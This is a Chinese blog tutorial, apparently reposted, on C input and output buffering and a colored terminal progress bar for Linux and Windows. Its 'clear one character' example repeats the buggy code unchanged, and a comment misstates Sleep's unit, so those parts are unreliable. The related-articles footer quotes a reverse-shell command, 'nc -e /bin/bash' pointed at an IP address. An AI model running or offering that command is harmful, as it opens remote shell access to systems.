C语言实现windows,linux双版本下的进度条小程序,快来试一试吧

news2025/2/24 12:40:00

文章目录

    • C语言缓冲区
      • 🚀1.输入缓冲区
        • 🍇模拟登录密码场景
        • 🍇从键盘将内容输入到内存的真正过程
        • 🍇解决方法:清空输入缓冲区
          • 🍉清掉一个字符
          • 🍉清空输入缓冲区所有字符
      • 🚀2.用户C语言级别的缓冲区
        • 🍇hello world的输出会这样?
        • 🍇--手动刷新显示器
      • 🚀3.进度条小程序
        • 🍇回车与换行的区别
        • 🍇进度条小程序代码逐步实现(linux版本)
        • 🍇windows版本的进度条小程序

前言
👻作者龟龟不断向前
👻简介宁愿做一只不停跑的慢乌龟,也不想当一只三分钟热度的兔子。
👻专栏:C++初阶知识点

👻工具分享

  1. 刷题: 牛客网 leetcode
  2. 笔记软件:有道云笔记
  3. 画图软件:Xmind(思维导图) diagrams(流程图)

在这里插入图片描述

如果觉得文章对你有帮助的话,还请点赞,关注,收藏支持博主🙊,如有不足还请指点,博主及时改正

C语言缓冲区

🚀1.输入缓冲区

🍇模拟登录密码场景

假如现在你有一个登录密码场景的需求:

  1. 输入密码12345678
  2. 确认密码(Y/N)
  3. Y–密码正确,登录成功
  4. N–密码错误,登陆失败
#include<stdio.h>

int main()
{
  char str[20];
  char input = 0;
  printf("请输入你的密码\n");
  scanf("%s",str);
    
  printf("请确认你的密码(Y/N)\n");
  input = getchar();
    
  if(input == 'Y')
    printf("密码正确,登录成功\n");
  else 
    printf("密码错误,登陆失败\n");
  return 0;
}

大家可以看一下,下面的代码能否实现我们的需求

看样子是没有什么问题,但是程序结果还是不尽人意

在这里插入图片描述

我明明还没确认密码,他就说密码错误,登陆失败,程序错误的原因就跟C语言的输入缓冲区有关

🍇从键盘将内容输入到内存的真正过程

在这里插入图片描述

在这里插入图片描述

scanf的设计就是已空格和\n为分隔,所以\n不会算进str的内容,而是留在了输入缓冲区

再输入input时,由于输入缓冲区有内容还没轮到我们输入,输入缓冲区的\n就留给了input


🍇解决方法:清空输入缓冲区

🍉清掉一个字符

输入缓冲区里面有内容,导致input并不是我们输入的值,所以咱们可以在前面加一个getchar(),用来吃掉\n

#include<stdio.h>

int main()
{
  char str[20];
  char input = 0;
  printf("请输入你的密码\n");
  scanf("%s",str);
    
  printf("请确认你的密码(Y/N)\n");
  input = getchar();
    
  if(input == 'Y')
    printf("密码正确,登录成功\n");
  else 
    printf("密码错误,登陆失败\n");
  return 0;
}

在这里插入图片描述

🍉清空输入缓冲区所有字符

上述代码有一个问题,当我的密码输入123456 xxx(中间留有空格),程序结构又不尽人意了

在这里插入图片描述

还是因为scanf的设计就是已空格和\n为分隔,那些 空格xxx\n 都留在了输入缓冲区,如果我们想要清除他们可以

使用循环清除这些字符

#include<stdio.h>

int main()
{
  char str[20];
  char input = 0;
  printf("请输入你的密码\n");
  scanf("%s",str);
  printf("请确认你的密码(Y/N)\n");
  while((input = getchar()) != '\n')
  {
    ;
  }
  input = getchar();
  if(input == 'Y')
    printf("密码正确,登录成功\n");
  else 
    printf("密码错误,登陆失败\n");
  return 0;
}

在这里插入图片描述


🚀2.用户C语言级别的缓冲区

🍇hello world的输出会这样?

环境:linux系统下gcc编译器演示 ,windows环境下是不一样的效果

#include<stdio.h>
#include<unistd.h>
int main()
{
  printf("hello world\n");
  sleep(1);
  return 0;
}

#include<stdio.h>
#include<unistd.h>
int main()
{
  printf("hello world");
  sleep(1);
  return 0;
}

大家觉得上述两段代码的输出结果分别是什么呢?

答案:

  • 1–输出hello world,再等待了一秒
  • 2–等待了一秒,输出了hello world

🍇–手动刷新显示器

没错,第二段代码的输出结果和我们想的差别很大,难道是程序执行的顺序是先执行sleep(1),再执行printf("hello world")

当然这是不可能的,因为上述代码是C语言的顺序结构

printf("hello world")已经执行,只是数据没有立即刷新到显示器当中,字符暂时被保存在了用户C语言级别的缓冲区当中。知道程序结束之前才刷新到显示器

解决方法:手动刷新显示器

在这里插入图片描述

#include<stdio.h>
#include<unistd.h>
int main()
{
  printf("hello world");
  fflush(stdout);
  sleep(1);
  return 0;
}

🚀3.进度条小程序

效果如下:

在这里插入图片描述

🍇回车与换行的区别

很多同学都认为回车和换行是一回事,在现实生活中的某些情况确实如此,但在语言角度上:

换行\n:新起一行

回车\r:使光标回到一行的开始位置

🍇进度条小程序代码逐步实现(linux版本)

在这里插入图片描述

思路:

  1. 申请一个101字节大小的字符数组(最后一个位置要放\0)
  2. 首先将内容都置为\0,以免之后我们的手动设置\0
  3. 循环100次,从左向右,每一次循环将字符数组的一个内容设置为=,然后回车(回到一行的起始行),再打印输出字符串
  4. 设置百分比,运行标志,颜色即可

咱们使用linux版本细节讲解:

#include<stdio.h>
#include<unistd.h>

int main()
{
  char str[101] = {'\0'};//每个位置都放\0,这样就不需要手动控制
  int num = 0; 
  while(num < 100)
  {
    str[num] = '=';
    printf("\r[%-100s]",str);//由于没有\n,stdout没有刷新
    //先回车再输出
    fflush(stdout);//手动刷新屏幕
    usleep(50000);//单位是微秒
    //咱们使总时间为5秒
    ++num;
  }
  printf("\n");
  return 0;
}

我们设计的是5秒钟将进度条跑完,那么100次循环,一次循环的时间就是0.05秒–50毫秒–50000微秒

usleep的单位就是微秒


加上百分比进度条

#include<stdio.h>
#include<unistd.h>

int main()
{
  char str[101] = {'\0'};//每个位置都放\0,这样就不需要手动控制
  int num = 0; 
  while(num < 100)
  {
    str[num] = '=';
    printf("\r[%-100s][%3d%%]",str,num+1);//由于没有\n,stdout没有刷新
    //先回车再输出
    fflush(stdout);//手动刷新屏幕
    usleep(50000);//单位是微秒
    //咱们使总时间为5秒
    ++num;
  }
  printf("\n");
  return 0;
}

输出%我们要两个%%才行


加上程序在运行中的标志

#include<stdio.h>
#include<unistd.h>

int main()
{
  char str[101] = {'\0'};//每个位置都放\0,这样就不需要手动控制
  int num = 0; 
  const char* p = "|/-\\";
  while(num < 100)
  {
    str[num] = '=';
    printf("\r[%-100s][%3d%%][%c]",str,num+1,p[num%4]);//由于没有\n,stdout没有刷新
    //先回车再输出
    fflush(stdout);//手动刷新屏幕
    usleep(50000);//单位是微秒
    //咱们使总时间为5秒
    ++num;
  }
  printf("\n");
  return 0;
}

表示\,需要两个\

\ ,|,-,/这些字符连续依次打印的时候即可实现该效果


配个颜色,配色列表如下,咱们就修改一下字体颜色就好

在这里插入图片描述

#include<stdio.h>
#include<unistd.h>

int main()
{
  char str[101] = {'\0'};//每个位置都放\0,这样就不需要手动控制
  int num = 0; 
  const char* p = "|/-\\";//表示程序在进行
  //注意\是识别转义字符的标志,想打印\要两个反斜杠
  while(num < 100)
  {
    str[num] = '=';
    printf("\r\033[32m[%-100s][%3d%%][%c]",str,num+1,p[num%4]);//由于没有\n,stdout没有刷新
    //先回车再输出
    fflush(stdout);//手动刷新屏幕
    usleep(50000);//单位是微秒
    //咱们使总时间为5秒
    ++num;
  }
  printf("\n");
  return 0;
}

🍇windows版本的进度条小程序

效果如下:
在这里插入图片描述

#include<stdio.h>
#include<windows.h>

#include <windows.h>//设置字体颜色的函数
void color(short x)//自定义函根据参数改变颜色 
{
    if(x>=0 && x<=15)//参数在0-15的范围颜色
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), x);//只有一个参数,改变字体颜色 
    else//默认的颜色白色
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
}

int main()
{
  char str[101] = {'\0'};//每个位置都放\0,这样就不需要手动控制
  int num = 0; 
  const char* p = "|/-\\";//表示程序在进行
  //注意\是识别转义字符的标志,想打印\要两个反斜杠
  color(2);
  while(num < 100)
  {
    str[num] = '=';
    printf("\r\033[32m[%-100s][%3d%%][%c]",str,num+1,p[num%4]);//由于没有\n,stdout没有刷新
    //先回车再输出
    fflush(stdout);//手动刷新屏幕
    Sleep(50);//单位是微秒
    //咱们使总时间为5秒
    ++num;
  }
  printf("\n");
  return 0;
}

颜色列表:

在这里插入图片描述

上述的color函数的实现来自于此文章:(53条消息) C语言教你怎么改变字体颜色_nacrt的博客-CSDN博客_c语言颜色函数color怎么使用

本篇文章就到这,希望可以让大家感受到乐趣,咱们下期见。

点赞

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2703.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【jenkins部署冲突报错】一定要看!!!!!

背景 最近接手了新的项目&#xff0c;他的代码仓库的分支有点乱&#xff0c;dev、uat、master三个分支代码不同步&#xff0c;差别很大&#xff0c;甚至功能有些也不一样&#xff0c;所以&#xff0c;就导致在合并代码时要注意&#xff0c;最好新切一个分支A&#xff08;同步m…

inveta PLSB 点线面体 示例工程

https://github.com/inveta/demo/blob/main/Resource/demo.md点线面体生成 POI&#xff08;点&#xff09;ps.emitMessage(["spawn-POI","location:X0 Y0 Z0", // cm"icon:\uE998", // char"title:POI标题", // string"color…

单独用HTML javascript CSS 写三版99乘法表,我就是班里最靓的仔

☆ 99乘法表&#xff0c;这个从小学就让我们开始产生肌肉记忆的知识点&#xff0c;伴随一生。而一旦开始学习软件开发知识&#xff0c;99乘法表将是一个基础中不可逃避的巩固升级作业。 ☆ 口算背诵相信大家已经滚瓜烂熟了&#xff0c;一一得一&#xff0c;二二得四&#xff…

【Linux】超好用的编译工具 —— gcc/g++

文章目录 前言 一、安装gcc/g 二、背景知识 三、gcc如何完成 1.预处理&#xff08;进行宏替换&#xff09; 2.编译&#xff08;生成汇编&#xff09; 3.汇编&#xff08;生成机器可识别代码&#xff09; 4.连接&#xff08;生成可执行文件或库文件&#xff09; 5.记忆选项的小技…

Tomcat 实用安装教程

Tomcat的介绍 Tomcat是Apache 软件基金会&#xff08;Apache Software Foundation&#xff09;的Jakarta 项目中的一个核心项目&#xff0c;由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持&#xff0c;最新的Servlet 和JSP 规范总是能在Tomcat 中得…

【模型训练】YOLOv7道路交通标志检测

YOLOv7道路交通标志检测 1、YOLOv7算法道路交通标志检测模型训练2、YOLOv7模型模型评估3、模型和数据集下载1、本项目采用YOLOv7算法实现对道路交通标志的检测和识别,在道路交通标志检测数据集中训练得到,我们训练了YOLOv7模型,经评估我们得出了各个模型的评价指标; 2、目标…

C · 初阶 | 循环语句

啊我摔倒了..有没有人扶我起来学习.... &#x1f471;个人主页&#xff1a;《CGod的个人主页》\color{Darkorange}{《CGod的个人主页》}《CGod的个人主页》交个朋友叭~ &#x1f492;个人社区&#xff1a;《编程成神技术交流社区》\color{Darkorange}{《编程成神技术交流社区》…

什么是跨域

目录 1 同源策略 2 什么是跨域 3 如何解决跨域 3.1 配置CROS 3.2 Nginx解决跨域问题 1 同源策略 跨域是指浏览器不能执行其他网站的脚本&#xff0c;是由浏览器的同源策略造成的&#xff0c;是浏览器加的安全限制。同源是指&#xff0c;域名&#xff0c;协议&#xff0c;端…

Android | WMS 解析(一)

前言 前段时间分析了 Window 的添加、更新和删除流程&#xff0c;也知晓了 Activity 、Dialog 和 Toast 中 Window 的创建过程&#xff0c;今天就接着上篇文章&#xff0c;看一下 WMS 的创建 以及WindowManager 添加 WIndow 后 WMS 是怎样进行操作的。上篇文章点这里直达&…

Linux下 gdb 调试打印函数局部变量

以下面代码&#xff0c;来说明一下&#xff0c;打印函数局部变量的操作&#xff0c;代码如下&#xff1a; #include <stdio.h>void fun1(void) {int data1 0;printf("data1: %d\n", data1); }void fun2(void) {int data2 1;fun1();printf("***data2: %…

联网智能门锁解锁智慧公租房

近年来&#xff0c;随着物联网技术的发展&#xff0c;愈来愈多的保障房、公租房、网约房、长短租公寓管理者们都在关注如何实现房屋智能管理&#xff0c;面对租户流动性大、管理复杂&#xff0c;房屋空置、闲置、非法转租&#xff0c;以及租户居住体验差等问题&#xff0c;无从…

【万字总结】C++——list的基本使用和模拟实现(建议收藏)

目录 一、list基本介绍 二、list的使用 1、list的初始化方式 2、list的增删查改 push_front和pop_front与push_back和pop_back insert erase 3、list迭代器的使用 正向迭代器 反向迭代器 4、list获取头尾元素 5、list容量操作 6、list的其他操作 sort splice r…

408 | 【2014年】计算机统考真题 自用回顾知识点整理

选择题 T3&#xff1a;循环队列 不同指针指向&#xff0c;队列判空/判满条件 1. rear:指向队尾元素 front:指向队头元素前一个位置 &#xff08;1&#xff09;牺牲一个存储空间 &#xff08;2&#xff09;判空条件&#xff1a;front rear &#xff08;3&#xff…

【C/自定义类型详解】——结构体(struct)、位段、枚举(enum)、联合(union)

关于C语言的知识放在专栏&#xff1a;C 小菜坤日常上传gitee代码&#xff1a;https://gitee.com/qi-dunyan ❤❤❤ 个人简介&#xff1a;双一流非科班的一名小白&#xff0c;期待与各位大佬一起努力&#xff01; 主要目录1、结构体&#xff08;struct&#xff09;1.0 结构体类型…

请问Graph Kernel Fusion(图算融合)在mindspore1.7.0下会生成融合后的mindIR的.dot文件吗

图算融合&#xff0c;GPU (NVIDIA-RTX3080) 验证 【操作步骤&问题现象】 1、参考&#xff08;基于mindspore0.5.0&#xff09;链接1&#xff1a; course: MindSpore实验&#xff0c;仅用于教学或培训目的。配合MindSpore官网使用。MindSpore experiments, for teaching or…

mac 安装部署mongoDB社区版

安装mongo可以采用下载安装包也可以使用Homebrew软件包管理工具安装 我一开始是根据网上走的下载安装包进行的&#xff0c;但总是出现各种问题&#xff0c;最后果断选择跟随官网教程走了 先决条件 如已安装&#xff0c;请跳过 1. 安装 Xcode 命令行工具 Homebrew 需要来自 A…

【Mybatis源码】源码分析

【Mybatis源码】源码分析&#xff08;1&#xff09;Mybatis的基本执行流程&#xff08;1&#xff09;在resources目录下建立一个mybatis-config.xml配置文件&#xff08;2&#xff09;准备UserMapper.xml文件&#xff08;3&#xff09;使用SqlSessionFactoryBuilder.build构建M…

简单的反弹shell到全交互式shell

经常我们拿到的shell是一个简单的shell 如何把一个简单的shell就升级到一个标准交互式shell 写这篇文章记录一下 # kali 起监听 bash # kali默认是zsh 还不兼容,要切换成bash nc -lvvp 9999# 靶机中执行 nc -e /bin/bash 192.168.100.131 9999 python -c import pty; p…

域内批量获取敏感文件

0x01 批量获取域内机器名 自动化工具&#xff0c;当然就要全自动&#xff0c;懒人必备。net group "domain computers" /do &#xff0c;获取机器是3个一排&#xff0c;然后可以通过正则删除空格&#xff0c;每次也麻烦&#xff0c;直接获取机器名更加方便。 思路就…

QT调用OpenCV绘制直线、矩形、椭圆、圆、不规则曲线、文本

开发环境&#xff1a;QT5.14.2OpenCV4.5 提前准备&#xff1a;准备编译好的OpenCV开发环境(如自行编译的mingw版的opencv库&#xff0c;本地路径D:\opencv\qt_build64)&#xff0c;准备一张测试图片&#xff08;如&#xff1a;d:\test.jpg&#xff09;。 项目结构&#xff1a…